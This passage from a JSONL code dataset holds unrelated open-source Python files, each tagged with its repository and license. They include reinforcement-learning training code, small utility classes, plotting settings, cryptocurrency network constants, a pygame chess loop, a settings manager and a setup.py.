inputs.append(qec_input)\n outputs = []\n\n q_vae, q_deterministic_vae, v_mean_vae, v_logvar_vae, z_mean_vae, z_logvar_vae, recon_obs = q_func(obs_vae_input.get(),\n z_noise_vae, num_actions,\n scope=\"q_func\",\n reuse=True)\n q_func_vars = U.scope_vars(U.absolute_scope_name(\"q_func\"))\n\n encoder_loss = -1 + z_mean_vae ** 2 + tf.exp(z_logvar_vae) - z_logvar_vae\n\n total_loss = tf.reduce_mean(beta * encoder_loss)\n decoder_loss = tf.keras.losses.binary_crossentropy(tf.reshape(recon_obs, [-1]), tf.reshape(\n tf.dtypes.cast(obs_vae_input._placeholder, tf.float32), [-1]))\n print(\"here\", z_mean_vae.shape, z_logvar_vae.shape, encoder_loss.shape, decoder_loss.shape)\n vae_loss = beta * encoder_loss + theta * decoder_loss\n outputs.append(encoder_loss)\n outputs.append(decoder_loss)\n outputs.append(vae_loss)\n total_loss += tf.reduce_mean(theta * decoder_loss)\n if ib:\n ib_loss = (v_mean_vae - tf.stop_gradient(tf.expand_dims(qec_input, 1))) ** 2 / tf.exp(\n v_logvar_vae) + v_logvar_vae\n print(\"here2\", v_mean_vae.shape, tf.expand_dims(qec_input, 1).shape, v_logvar_vae.shape, ib_loss.shape)\n total_ib_loss = alpha * ib_loss + beta * encoder_loss\n outputs.append(total_ib_loss)\n total_loss += tf.reduce_mean(alpha * ib_loss)\n\n if grad_norm_clipping is not None:\n optimize_expr = U.minimize_and_clip(optimizer,\n total_loss,\n var_list=q_func_vars,\n clip_val=grad_norm_clipping)\n else:\n optimize_expr = optimizer.minimize(total_loss, var_list=q_func_vars)\n # Create callable functions\n # EMDQN\n total_loss_summary = tf.summary.scalar(\"total loss\", total_loss)\n z_var_summary = tf.summary.scalar(\"z_var\", tf.reduce_mean(tf.exp(z_logvar_vae)))\n encoder_loss_summary = tf.summary.scalar(\"encoder loss\", tf.reduce_mean(encoder_loss))\n decoder_loss_summary = tf.summary.scalar(\"decoder loss\", tf.reduce_mean(decoder_loss))\n summaries = [total_loss_summary, z_var_summary, encoder_loss_summary, decoder_loss_summary]\n if ib:\n ib_loss_summary = tf.summary.scalar(\"ib loss\", tf.reduce_mean(ib_loss))\n total_ib_loss_summary = tf.summary.scalar(\"total ib loss\", tf.reduce_mean(total_ib_loss))\n summaries.append(ib_loss_summary)\n summaries.append(total_ib_loss_summary)\n\n summary = tf.summary.merge(summaries)\n outputs.append(summary)\n\n train = U.function(\n inputs=inputs,\n outputs=[total_loss,summary],\n updates=[optimize_expr]\n )\n\n return act_f, train\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "from dataclasses import dataclass\n\n@dataclass\nclass Request:\n method: str\n path: str\n headers: dict\n body: bytes\n\n@dataclass\nclass Response:\n status_code: int\n reason_phrase: str\n headers: dict\n body: bytes\n", "source": "jonathanlloyd/scratchstack-httpserver", "license": "MIT"} {"text": "# @AUTHOR : lonsty\n# @DATE : 2020/3/28 18:01\n\n\nclass CookiesExpiredException(Exception):\n pass\n\n\nclass NoImagesException(Exception):\n pass\n\n\nclass ContentParserError(Exception):\n pass\n\n\nclass UserNotFound(Exception):\n pass\n", "source": "lonsty/weibo-pic-spider-hd", "license": "MIT"} {"text": "class base_converter(object):\n \"\"\"\n Properties:\n headers -- list of strings that name the header files needed by this\n object.\n include_dirs -- list of directories where the header files can be found.\n libraries -- list of libraries needed to link to when compiling\n extension.\n library_dirs -- list of directories to search for libraries.\n\n support_code -- list of strings. Each string is a subroutine needed\n by the type. Functions that are used in the conversion\n between Python and C++ files are examples of these.\n\n Methods:\n\n type_match(value) returns 1 if this class is used to represent type\n specification for value.\n type_spec(name, value) returns a new object (of this class) that is\n used to produce C++ code for value.\n declaration_code() returns C++ code fragment for type declaration and\n conversion of python object to C++ object.\n cleanup_code() returns C++ code fragment for cleaning up after the\n variable after main C++ code fragment has executed.\n\n \"\"\"\n _build_information = []\n compiler = ''\n\n def set_compiler(self,compiler):\n self.compiler = compiler\n def type_match(self,value):\n raise NotImplementedError(\"You must override method in derived class\")\n def build_information(self):\n return self._build_information\n def type_spec(self,name,value):\n pass\n def declaration_code(self,templatize = 0):\n return \"\"\n def local_dict_code(self):\n return \"\"\n def cleanup_code(self):\n return \"\"\n def retrieve_py_variable(self,inline=0):\n # this needs a little coordination in name choices with the\n # ext_inline_function class.\n if inline:\n vn = 'get_variable(\"%s\",raw_locals,raw_globals)' % self.name\n else:\n vn = 'py_' + self.name\n return vn\n\n def py_reference(self):\n return \"&py_\" + self.name\n def py_pointer(self):\n return \"*py_\" + self.name\n def py_variable(self):\n return \"py_\" + self.name\n def reference(self):\n return \"&\" + self.name\n def pointer(self):\n return \"*\" + self.name\n def init_flag(self):\n return self.name + \"_used\"\n\n def variable(self):\n return self.name\n def variable_as_string(self):\n return '\"' + self.name + '\"'\n\nimport UserList\nimport base_info\n\nclass arg_spec_list(UserList.UserList):\n def build_information(self):\n all_info = base_info.info_list()\n for i in self:\n all_info.extend(i.build_information())\n return all_info\n\n def py_references(self):\n return map(lambda x: x.py_reference(),self)\n def py_pointers(self):\n return map(lambda x: x.py_pointer(),self)\n def py_variables(self):\n return map(lambda x: x.py_variable(),self)\n\n def references(self):\n return map(lambda x: x.py_reference(),self)\n def pointers(self):\n return map(lambda x: x.pointer(),self)\n def variables(self):\n return map(lambda x: x.variable(),self)\n def init_flags(self):\n return map(lambda x: x.init_flag(),self)\n def variable_as_strings(self):\n return map(lambda x: x.variable_as_string(),self)\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "\"\"\"\nCreated:04 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom revibe._helpers import const\n\nfrom administration.utils import retrieve_variable\nfrom content.models import Song, Album, Artist\nfrom content.serializers import v1 as cnt_ser_v1\n\n# -----------------------------------------------------------------------------\n\n# _DEFAULT_LIMIT = 50\n# limit_variable = retrieve_variable()\n# try:\n# limit_variable = int(limit_variable)\n# _DEFAULT_LIMIT = max(min(limit_variable, 100), 10)\n# except ValueError as ve:\n# print(\"Could not read browse section default limit variable\")\n# print(ve)\ndef _DEFAULT_LIMIT():\n limit_variable = retrieve_variable(\"browse_section_default_limit\", 50)\n\n try:\n limit_variable = int(limit_variable)\n return max(min(limit_variable, 100), 10)\n except ValueError as ve:\n print(\"Could not read browse section default limit variable\")\n print(ve)\n \n return 50\n\n_name = \"name\"\n_type = \"type\"\n_results = \"results\"\n_endpoint = \"endpoint\"\n\ndef _browse_song(annotation, limit=None, platform=const.REVIBE_STRING, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n songs = Song.display_objects.filter(platform=platform).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.SongSerializer(songs, many=True).data\n\n return options\n\ndef _browse_album(annotation, limit=None, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n albums = Album.display_objects.filter(platform=const.REVIBE_STRING).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.AlbumSerializer(albums, many=True).data\n\n return options\n\ndef _browse_artist(annotation, limit=None, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n artists = Artist.display_objects.filter(platform=const.REVIBE_STRING).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.ArtistSerializer(artists, many=True).data\n\n return options", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "import pandas as pd\nimport numpy as np\nimport os\nimport logging\n\n\n# suppress warnings\nimport warnings;\nwarnings.filterwarnings('ignore');\n\nfrom tqdm.autonotebook import tqdm\n\n# register `pandas.progress_apply` and `pandas.Series.map_apply` with `tqdm`\ntqdm.pandas()\n\n# https://pandas.pydata.org/pandas-docs/stable/user_guide/options.html#available-options\n# adjust pandas display\npd.options.display.max_columns = 30 # default 20\npd.options.display.max_rows = 200 # default 60\npd.options.display.float_format = '{:.2f}'.format\n# pd.options.display.precision = 2\npd.options.display.max_colwidth = 200 # default 50; None = all\n\n# Number of array items in summary at beginning and end of each dimension\n# np.set_printoptions(edgeitems=3) # default 3\nnp.set_printoptions(suppress=True) # no scientific notation for small numbers\n\n# IPython (Jupyter) setting: \n# Print out every value instead of just \"last_expr\" (default)\nfrom IPython.core.interactiveshell import InteractiveShell\nInteractiveShell.ast_node_interactivity = \"all\"\n\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\n# defaults: mpl.rcParamsDefault\nrc_params = {'figure.figsize': (8, 4),\n 'axes.labelsize': 'large', \n 'axes.titlesize': 'large',\n 'xtick.labelsize': 'large',\n 'ytick.labelsize': 'large',\n 'savefig.dpi': 100,\n 'figure.dpi': 100 }\n# adjust matplotlib defaults\nmpl.rcParams.update(rc_params)\n\nimport seaborn as sns\nsns.set_style(\"darkgrid\")\n# sns.set()\n", "source": "nguyenngtt/GSE---TEAM-A", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\nimport ST7735\nimport sys\n\nst7735 = ST7735.ST7735(\n port=0,\n cs=1,\n dc=9,\n backlight=12,\n rotation=270,\n spi_speed_hz=10000000\n)\n\n# Reset the display\nst7735.begin()\nst7735.reset()\nst7735.set_backlight(0)\n\nprint \"\\nDone.\" \n\n# Exit cleanly\nsys.exit(0)", "source": "pkbullock/RaspberryPi", "license": "MIT"} {"text": "import sys, os\nimport logging\nimport datetime\n\nmodule_name = 'Streetview_Module'\ndebug_mode = True\n\nclass LoggingWrapper(object):\n\n def __init__(self, log_folder_path=None):\n self.debug_mode = debug_mode\n\n # Create logger with module name\n logger = logging.getLogger(module_name)\n logger.setLevel(logging.DEBUG)\n\n # create file handler which logs even debug messages\n now = datetime.datetime.now()\n log_file = '{}{}{}{}{}{}.log'.format(now.year, now.month, now.day,\n now.hour, now.minute,\n now.second)\n # If no folder provided, output to stderr\n if log_folder_path == None:\n fh = logging.StreamHandler(sys.stderr)\n else:\n log_file = os.path.join(log_folder_path, log_file)\n fh = logging.FileHandler(log_file)\n\n fh.setLevel(logging.DEBUG)\n\n # create console handler with a higher log level\n ch = logging.StreamHandler()\n ch.setLevel(logging.ERROR)\n\n # create formatter and add it to the handlers\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n # add the handlers to the logger\n logger.addHandler(fh)\n logger.addHandler(ch)\n", "source": "juliantrue/Streetview-Segmenting", "license": "MIT"} {"text": "class BitcoinGoldMainNet(object):\n \"\"\"Bitcoin Gold MainNet version bytes. \"\"\"\n NAME = \"Bitcoin Gold Main Net\"\n COIN = \"BTG\"\n SCRIPT_ADDRESS = 0x17 # int(0x17) = 23\n PUBKEY_ADDRESS = 0x26 # int(0x26) = 38 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488b21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\n\nclass BitcoinCashMainNet(object):\n \"\"\"Bitcoin Cash MainNet version bytes.\"\"\"\n NAME = \"Bitcoin Cash Main Net\"\n COIN = \"BCH\"\n SCRIPT_ADDRESS = 0x28 # int(0x28) = 40\n PUBKEY_ADDRESS = 0x1C # int(0x00) = 28 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488b21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/145'/0'/\"\n\n\nclass DashMainNet(object):\n \"\"\"Dash MainNet version bytes.\"\"\"\n NAME = \"Dash Main Net\"\n COIN = \"DASH\"\n SCRIPT_ADDRESS = 0x10 # int(0x10) = 16\n PUBKEY_ADDRESS = 0x4C # int(0x4C) = 76 # Used to create payment addresses\n SECRET_KEY = 0xCC # int(0xCC) = 204 # Used for WIF format\n EXT_PUBLIC_KEY = 0X0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0X0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/5'/0'/\"\n\n\nclass DashTestNet(object):\n \"\"\"Dash TestNet version bytes.\"\"\"\n NAME = \"Dash Test Net\"\n COIN = \"DASH\"\n SCRIPT_ADDRESS = 0x13 # int(0x13) = 19\n PUBKEY_ADDRESS = 0x8C # int(0x8C) = 140 # Used to create payment addresses\n SECRET_KEY = 0xEF # int(0xEF) = 239 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\nclass MarteXMainNet(object):\n \"\"\"MarteX MainNet version bytes.\"\"\"\n NAME = \"MarteX Main Net\"\n COIN = \"MXT\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 05\n PUBKEY_ADDRESS = 0x32 # int(0x32) = 50 # Used to create payment addresses\n SECRET_KEY = 0xB2 # int(0xB2) = 178 # Used for WIF format\n EXT_PUBLIC_KEY = 0X0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0X0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/180'/0'/\"\n\nclass MarteXTestNet(object):\n \"\"\"MarteX TestNet version bytes.\"\"\"\n NAME = \"MarteX Test Net\"\n COIN = \"MXT\"\n SCRIPT_ADDRESS = 0xC4 # int(0xC4) = 196\n PUBKEY_ADDRESS = 0x6C # int(0x6F) = 111 # Used to create payment addresses\n SECRET_KEY = 0x144 # int(0x144) = 324 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\nclass OmniMainNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/OmniLayer/omnicore/blob/develop/src/chainparams.cpp\n \"\"\"\n NAME = \"Omni Main Net\"\n COIN = \"USDT\"\n SCRIPT_ADDRESS = 0x00 # int(0x00) = 0\n PUBKEY_ADDRESS = 0x05 # int(0x05) = 5 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass OmniTestNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/OmniLayer/omnicore/blob/develop/src/chainparams.cpp\n \"\"\"\n NAME = \"Omni Test Net\"\n COIN = \"USDT\"\n SCRIPT_ADDRESS = 0x6f # int(0x6f) = 111\n PUBKEY_ADDRESS = 0xc4 # int(0xc4) = 196 # Used to create payment addresses\n SECRET_KEY = 0xef # int(0xef) = 239 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass BitcoinMainNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/bitcoin/bitcoin/blob/v0.9.0rc1/src/chainparams.cpp\n \"\"\"\n NAME = \"Bitcoin Main Net\"\n COIN = \"BTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x00 # int(0x00) = 0 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass FeathercoinMainNet(object):\n \"\"\"Feathercoin MainNet version bytes.\n From https://github.com/FeatherCoin/Feathercoin/blob/master-0.13/src/chainparams.cpp\n \"\"\"\n NAME = \"Feathercoin Main Net\"\n COIN = \"FTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x0E # int(0x0E) = 14 # Used to create payment addresses\n SECRET_KEY = 0x8E # int(0x8E) = 142 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488BC26 # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488DAEE # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/4'/0'/\"\n\nclass BitcoinTestNet(object):\n \"\"\"Bitcoin TestNet version bytes.\n From https://github.com/bitcoin/bitcoin/blob/v0.9.0rc1/src/chainparams.cpp\n \"\"\"\n NAME = \"Bitcoin Test Net\"\n COIN = \"BTC\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x6f # int(0x6f) = 111\n SECRET_KEY = 0xEF # int(0xef) = 239\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass LitecoinMainNet(object):\n \"\"\"Litecoin MainNet version bytes\n\n Primary version bytes from:\n https://github.com/litecoin-project/litecoin/blob/master-0.8/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=453395.0\n \"\"\"\n NAME = \"Litecoin Main Net\"\n COIN = \"LTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x30 # int(0x30) = 48\n SECRET_KEY = PUBKEY_ADDRESS + 128 # = int(0xb0) = 176\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=453395.0\n # EXT_PUBLIC_KEY = 0x019da462\n # EXT_SECRET_KEY = 0x019d9cfe\n\n # same as Bitcoin's\n # https://github.com/ranaroussi/pywallet/issues/6\n EXT_PUBLIC_KEY = 0x0488B21E\n EXT_SECRET_KEY = 0x0488ADE4\n\n BIP32_PATH = \"m/44'/2'/0'/\"\n\nclass LitecoinTestNet(object):\n \"\"\"Litecoin TestNet version bytes\n\n Primary version bytes from:\n https://github.com/litecoin-project/litecoin/blob/master-0.8/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=453395.0\n \"\"\"\n NAME = \"Litecoin Test Net\"\n COIN = \"LTC\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x6f # int(0x6f) = 111\n SECRET_KEY = PUBKEY_ADDRESS + 128 # = int(0xef) = 239\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=453395.0\n # EXT_PUBLIC_KEY = 0x0436f6e1\n # EXT_SECRET_KEY = 0x0436ef7d\n\n # same as Bitcoin's\n # https://github.com/ranaroussi/pywallet/issues/6\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass DogecoinMainNet(object):\n \"\"\"Dogecoin MainNet version bytes\n\n Primary version bytes from:\n https://github.com/dogecoin/dogecoin/blob/1.5.2/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=409731\n \"\"\"\n NAME = \"Dogecoin Main Net\"\n COIN = \"DOGE\"\n SCRIPT_ADDRESS = 0x16 # int(0x16) = 22\n PUBKEY_ADDRESS = 0x1e # int(0x1e) = 30\n SECRET_KEY = PUBKEY_ADDRESS + 128 # int(0x9e) = 158\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=409731\n EXT_PUBLIC_KEY = 0x02facafd\n EXT_SECRET_KEY = 0x02fac398\n BIP32_PATH = \"m/44'/3'/0'/\"\n\n\nclass DogecoinTestNet(object):\n \"\"\"Dogecoin TestNet version bytes\n\n Primary version bytes from:\n https://github.com/dogecoin/dogecoin/blob/1.5.2/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=409731\n \"\"\"\n NAME = \"Dogecoin Test Net\"\n COIN = \"DOGE\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x71 # int(0x71) = 113\n SECRET_KEY = PUBKEY_ADDRESS + 128 # int(0xf1) = 241\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=409731\n EXT_PUBLIC_KEY = 0x0432a9a8\n EXT_SECRET_KEY = 0x0432a243\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass BlockCypherTestNet(object):\n \"\"\"BlockCypher TestNet version bytes.\n From http://dev.blockcypher.com/#testing\n \"\"\"\n NAME = \"BlockCypher Test Net\"\n COIN = \"BlockCypher\"\n SCRIPT_ADDRESS = 0x1f # int(0x1f) = 31\n PUBKEY_ADDRESS = 0x1b # int(0x1b) = 27 # Used to create payment addresses\n SECRET_KEY = 0x49 # int(0x49) = 73 # Used for WIF format\n EXT_PUBLIC_KEY = 0x2d413ff # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x2d40fc3 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass QtumMainNet(object):\n \"\"\"Qtum MainNet version bytes\n\n Primary version bytes from:\n https://github.com/qtumproject/qtum/blob/master/src/chainparams.cpp\n \"\"\"\n NAME = \"Qtum Main Net\"\n COIN = \"QTUM\"\n SCRIPT_ADDRESS = 0x32 # int(0x32) = 50\n PUBKEY_ADDRESS = 0x3A # int(0x3A) = 58 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/88'/0'/\"\n\n\nclass QtumTestNet(object):\n \"\"\"Qtum TestNet version bytes\n\n Primary version bytes from:\n https://github.com/qtumproject/qtum/blob/master/src/chainparams.cpp\n \"\"\"\n NAME = \"Qtum Test Net\"\n COIN = \"QTUM\"\n SCRIPT_ADDRESS = 0x6E # int(0x6e) = 110\n PUBKEY_ADDRESS = 0x78 # int(0x78) = 120\n SECRET_KEY = 0xEF # int(0xef) = 239\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n BIP32_PATH = \"m/44'/88'/0'/\"\n", "source": "martexcoin/pywallet", "license": "MIT"} {"text": "import pygame as pg\nfrom pygame.locals import *\nimport sys\nimport board.chess_board as board\n\n\nw = 60 * 8\nh = 60 * 8\n\n\nclass Game:\n \"\"\"\n Class to setup and start a game\n \"\"\"\n def __init__(self):\n self.b = board.Board(w, h)\n\n def get_board(self):\n \"\"\"\n Returns board\n :return: Board-class\n \"\"\"\n return self.b\n\n def run(self):\n \"\"\"\n Where the game is created and launched\n :return:\n \"\"\"\n # While loop to show display\n while True:\n for event in pg.event.get():\n # Quitting game\n if event.type == QUIT:\n pg.quit()\n sys.exit()\n # If game can continue\n if self.b.get_status() == \"-\":\n # Pressing mouse\n if event.type == MOUSEBUTTONDOWN:\n pos = pg.mouse.get_pos()\n for r in self.b.get_board_array():\n for square in r:\n if square.get_visual().collidepoint(pos):\n square.click()\n self.b.update_board()\n\n\nif __name__ == \"__main__\":\n # Launch main-function if running this script\n game = Game()\n game.run()\n", "source": "petthauk/chess_ml", "license": "MIT"} {"text": "import os\nimport sys\nimport itertools\nimport json\n\n_NONE = object()\n\n\nclass SettingManager:\n _sentry = object()\n\n def __init__(self):\n self.env = os.getenv('ENV', 'prd')\n\n try:\n self._default = __import__('settings.default', fromlist=['*'])\n except ModuleNotFoundError:\n self._default = object()\n\n try:\n self._env = __import__('settings.{}'.format(self.env), fromlist=['*'])\n except ModuleNotFoundError:\n self._env = object()\n\n self._loaded = []\n\n def load(self, filename, fmt='json'):\n filename = os.path.abspath(filename)\n if fmt == 'json':\n with open(filename) as f:\n self._loaded.append((filename, json.load(f)))\n\n def unload(self, filename):\n filename = os.path.abspath(filename)\n self._loaded = [(f, v) for f, v in self._loaded if f != filename]\n\n def __getattr__(self, item):\n result = SettingManager._sentry\n\n for _, values in self._loaded:\n if item in values:\n result = values[item]\n\n result = os.getenv(item, result)\n\n if result is SettingManager._sentry:\n result = getattr(self._env, item, getattr(self._default, item, SettingManager._sentry))\n if result is SettingManager._sentry:\n raise AttributeError\n\n return result\n\n def __contains__(self, item):\n try:\n self.__getattr__(item)\n return True\n except AttributeError:\n return False\n\n def get(self, item, default=_NONE):\n try:\n return self.__getattr__(item)\n except AttributeError:\n if default is not _NONE:\n return default\n raise AttributeError\n\n def __iter__(self):\n chained = itertools.chain(getattr(self._default, '__dict__', dict()).keys(),\n getattr(self._env, '__dict__', dict()).keys())\n\n for _, values in self._loaded:\n chained = itertools.chain(chained, values.keys())\n\n return iter(filter(lambda x: not x.startswith('_'), set(chained)))\n\n\nsys.modules[__name__] = SettingManager()\n", "source": "arcana261/python-grpc-boilerplate", "license": "Unlicense"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport io\nfrom codecs import open\nfrom setuptools import setup, find_packages\n\n\ndef walk_subpkg(name):\n data_files = []\n package_dir = 'cartoframes'\n for parent, dirs, files in os.walk(os.path.join(package_dir, name)):\n # Remove package_dir from the path.\n sub_dir = os.sep.join(parent.split(os.sep)[1:])\n for f in files:\n data_files.append(os.path.join(sub_dir, f))\n return data_files\n\n\nREQUIRES = [\n 'appdirs>=1.4.3,<2.0',\n 'carto>=1.6.0,<2.0',\n 'jinja2>=2.10.1,<3.0',\n 'pandas>=0.24.2<1.0',\n 'shapely>=1.6.4,<2.0',\n 'tqdm>=4.32.1,<5.0',\n 'unidecode>=1.1.0,<2.0',\n 'webcolors>=1.9.1,<2.0'\n]\n\nPACKAGE_DATA = {\n '': [\n 'LICENSE',\n 'CONTRIBUTORS',\n ],\n 'cartoframes': [\n 'assets/*',\n 'assets/*.j2'\n ] + walk_subpkg('assets'),\n}\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith io.open(os.path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = '\\n' + f.read()\n\nabout = {}\nwith open(os.path.join(here, 'cartoframes', '__version__.py'), 'r', 'utf-8') as f:\n exec(f.read(), about)\n\nsetup(\n name=about['__title__'],\n version=about['__version__'],\n description=about['__description__'],\n long_description=long_description,\n url=about['__url__'],\n author=about['__author__'],\n author_email=about['__email__'],\n license=about['__license__'],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: BSD License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7'\n ],\n keywords='carto data science maps spatial pandas',\n packages=find_packages(),\n install_requires=REQUIRES,\n python_requires=\">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*\",\n include_package_data=True,\n package_dir={'cartoframes': 'cartoframes'},\n package_data=PACKAGE_DATA,\n)\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"} {"text": "# Author: Guilherme Aldeia\r\n# Contact: guilherme.aldeia@ufabc.edu.br\r\n# Version: 1.0.0\r\n# Last modified: 08-20-2021 by Guilherme Aldeia\r\n\r\n\"\"\"\r\nSimple exception that is raised by explainers when they don't support local\r\nor global explanations, or when they are not model agnostic. This should be\r\ncatched and handled in the experiments.\r\n\"\"\"\r\n\r\nclass NotApplicableException(Exception):\r\n def __init__(self, message=\"\"):\r\n self.message = message", "source": "gAldeia/iirsBenchmark", "license": "BSD-3-Clause"} {"text": "\nimport itertools\nimport multiprocessing\nimport json\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom lp_generators.features import coeff_features, solution_features\nfrom lp_generators.performance import clp_simplex_performance\n\nfrom search_operators import lp_column_neighbour, lp_row_neighbour\nfrom seeds import cli_seeds\nfrom search_common import condition, objective, start_instance\n\n\ndef calculate_features(instance):\n return dict(\n **coeff_features(instance),\n **solution_features(instance))\n\n\ndef generate_by_search(seed):\n results = []\n pass_condition = 0\n step_change = 0\n random_state = np.random.RandomState(seed)\n current_instance = start_instance(random_state)\n current_features = calculate_features(current_instance)\n for step in range(10001):\n if (step % 100) == 0:\n results.append(dict(\n **coeff_features(current_instance),\n **solution_features(current_instance),\n **clp_simplex_performance(current_instance),\n pass_condition=pass_condition,\n step_change=step_change,\n step=step, seed=seed))\n if (step % 2) == 0:\n new_instance = lp_row_neighbour(random_state, current_instance, 1)\n else:\n new_instance = lp_column_neighbour(random_state, current_instance, 1)\n new_features = calculate_features(new_instance)\n if condition(new_features):\n pass_condition += 1\n if objective(new_features) < objective(current_features):\n step_change += 1\n current_instance = new_instance\n current_features = new_features\n return results\n\n\n@cli_seeds\ndef run(seed_values):\n ''' Generate the required number of instances and store feature results. '''\n pool = multiprocessing.Pool()\n mapper = pool.imap_unordered\n print('Generating instances by naive search.')\n features = list(tqdm(\n mapper(generate_by_search, seed_values),\n total=len(seed_values), smoothing=0))\n features = list(itertools.chain(*features))\n with open('data/naive_search.json', 'w') as outfile:\n json.dump(features, outfile, indent=4, sort_keys=True)\n\nrun()\n", "source": "simonbowly/lp-generators", "license": "MIT"} {"text": "from keras.optimizers import RMSprop\nfrom keras.layers import Input, Embedding, Dense, LSTM, Bidirectional, GRU\nfrom keras.layers import concatenate, Reshape, SpatialDropout1D\nfrom keras.models import Model\nfrom keras import 